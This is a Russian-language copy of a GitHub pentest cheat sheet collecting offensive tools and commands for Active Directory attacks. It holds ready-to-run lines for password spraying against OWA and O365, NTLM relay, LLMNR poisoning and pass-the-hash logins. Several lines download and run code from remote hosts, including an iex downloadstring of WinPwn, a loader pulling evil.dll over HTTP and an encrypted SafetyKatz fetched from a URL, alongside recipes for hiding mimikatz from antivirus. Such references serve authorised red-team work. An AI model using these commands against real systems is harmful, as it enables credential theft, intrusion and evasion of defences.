luemmelsec/pentest-tools-collectionКурируемая подборка инструментов и команд наступательной безопасности для атак на Active Directory, C2, повышения привилегий, обфускации и веб-пентестинга.
https://github.com/S3cur3Th1sSh1t/WinPwn
Import-Module .\WinPwn.ps1
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/master/WinPwn.ps1')
Seatbelt, KeeThief, Rubeus, SharpUp ...
PowerView, PowerUp, Get-GPPPassword ...
SharpHound.exe -d testdomain.com -c all,gpolocalgroup
Sharphound.ps1 -d testdomain.com -c all,gpolocalgroup
bloodhound.py -c all
Для запуска ADRecon на хосте, входящем в домен.
PS C:\> .\ADRecon.ps1
Для запуска ADRecon на хосте, входящем в домен, от имени другого пользователя.
PS C:\>.\ADRecon.ps1 -DomainController <IP or FQDN> -Credential <domain\username>
Для запуска ADRecon на хосте, не входящем в домен, с использованием LDAP.
PS C:\>.\ADRecon.ps1 -Method LDAP -DomainController <IP or FQDN> -Credential <domain\username>
Спрейер для Lync/Skype и OWA, генератор списков слов, конвертер схем именования и т. д.
Спрей OWA
./atomizer.py owa contoso.com 'Fall2018' emails.txt
Спрей Lync
./atomizer lync contoso.com --user-as-pass usernames.txt
Режим разведки
./atomizer owa 'https://owa.contoso.com/autodiscover/autodiscover.xml' --recon
Атака на OWA и EWS
Схема именования должна быть похожа на testdomain.com\schmidta или aschmidt -> проверьте схему с помощью модуля msf
Invoke-PasswordSprayOWA -ExchHostname mail.domain.com -UserList .\userlist.txt -Password Fall2016 -Threads 15 -OutFile owa-sprayed-creds.txt
Get-ADUsernameFromEWS -EmailList email-list.txt
Get-GlobalAddressList -ExchHostname mail.domain.com -UserName domain\username -Password Fall2016 -OutFile global-address-list.txt
Инструмент для энумерации и спрея O365
Просто перечисляет пользователей без спрея. Требуется текстовый файл с полными адресами электронной почты вида [email protected]
python3 msspray.py -e -u textfile.txt --wait 10 --verbose
Спрейер для O365
Import-Module MSOLSpray.ps1
Invoke-MSOLSpray -UserList .\userlist.txt -Password Winter2020
Атака на EWS через NTLM-аутентификацию по HTTP.
./exchangeRelayx.py -t https://mail.quickbreach.com
Порт PowerView на .NET
SharpView.exe Get-DomainController -Domain test.local -Server dc.test.local -Credential [email protected]/password
Сбор почтовых адресов / пользователей
python3 crosslinked.py -f '{first}.{last}@domain.com' company_name
Официальная документация: https://mpgn.gitbook.io/crackmapexec/
Инструмент для взаимодействия с реализацией WS-Management от Microsoft, также известной как PowerShell-Remoting, с Linux-машины.
Также может использоваться для подключения с хэшем вместо пароля.
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -p 'MySuperSecr3tPass123!'
ruby evil-winrm.rb -i 192.168.1.100 -u Administrator -H B3D7E7E1516FFBFCB1C54A4C349BC099
Кроме того, способен выполнять C#, DLL или donut shellcode прямо в памяти. Исполняемые файлы должны находиться в пути, указанном в аргументе -e.
Invoke-Binary /opt/csharp/Binary.exe 'param1, param2, param3'
Dll-loader -http -path http://10.11.12.13/evil.dll
Donut-Loader -process_id 1234 -donutfile /use/share/payload.bin
Также может обходить AMSI, получать билеты Kerberos и так далее ...
Выполняет команды по RDP. Пользователь получит уведомление, если мульти-RDP не включен!
SharpRDP.exe computername=target.domain command="C:\Temp\file.exe" username=domain\user password=password
Инструмент PowerShell для спуфинга ADIDNS/LLMNR/mDNS/NBNS/DNS и атак man-in-the-middle
Import-Module Inveigh.psm1
Invoke-Inveigh -Consoleoutput Y
Отравитель LLMNR/NBT-NS/mDNS
./Responder.py -I eth0
Эксплойты для Linux и Windows
PowerShell без PowerShell
rundll32 PowerShdll,main -w
Обфускация C/C++ бинарников
Новый модуль -> флуктуация ShellCode:
PEzor -fluctuate=RW -debug mimikatz.exe -p '"coffee" "sleep 5000" "coffee" "exit"'
Форк генератора Donut shellcode / PE с системными вызовами
Обфускация C/C++ бинарников
Обфускатор PowerShell-скриптов.
Набор инструментов для обхода AV/EDR и всего такого
Import-Module ./xencrypt.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1
Invoke-Xencrypt -InFile invoke-mimikatz.ps1 -OutFile xenmimi.ps1 -Iterations 100
Обфускатор и шифратор PowerShell-скриптов.
Набор инструментов для PowerShell ISE. Возможности обфускации.
Преобразование PS1 в EXE-файл.
Обёртка для C#-бинарников, которая шифрует полезную нагрузку и расшифровывает её в памяти.
Шифрование бинарника:
Invoke-SharpEncrypt -file C:\CSharpFiles\SafetyKatz.exe -password S3cur3Th1sSh1t -outfile C:\CSharpEncrypted\SafetyKatz.enc
Загрузка зашифрованного бинарника из URL:
Invoke-SharpLoader -location https://raw.githubusercontent.com/S3cur3Th1sSh1t/Invoke-SharpLoader/master/EncryptedCSharp/SafetyKatz.enc -password S3cur3Th1sSh1t -noArgs
Загрузка зашифрованного бинарника с диска с аргументами командной строки:
Invoke-SharpLoader -location C:\EncryptedCSharp\Rubeus.enc -password S3cur3Th1sSh1t -argument kerberoast -argument2 "/format:hashcat"
Обфускатор для C# и PowerShell
Обфускатор PowerShell-скриптов
Обфускатор C#-сборок
Обфускатор C#-сборок
Загрузчик шеллкода через D-Invoke
Обфускатор исходного кода C/C++
SharpSploit: https://github.com/cobbr/SharpSploit
ZeroLogon-Tester: https://github.com/BC-SECURITY/Invoke-ZeroLogon / https://github.com/SecuraBV/CVE-2020-1472
Ligolo: https://github.com/sysdream/ligolo
Metasploit: https://github.com/rapid7/metasploit-framework
Socat: https://github.com/craSH/socat
ThreatCheck: https://github.com/rasta-mouse/ThreatCheck
evilginx2: https://github.com/kgretzky/evilginx2
O365 Enum: https://github.com/gremwell/o365enum
O365 spray: https://github.com/0xZDH/o365spray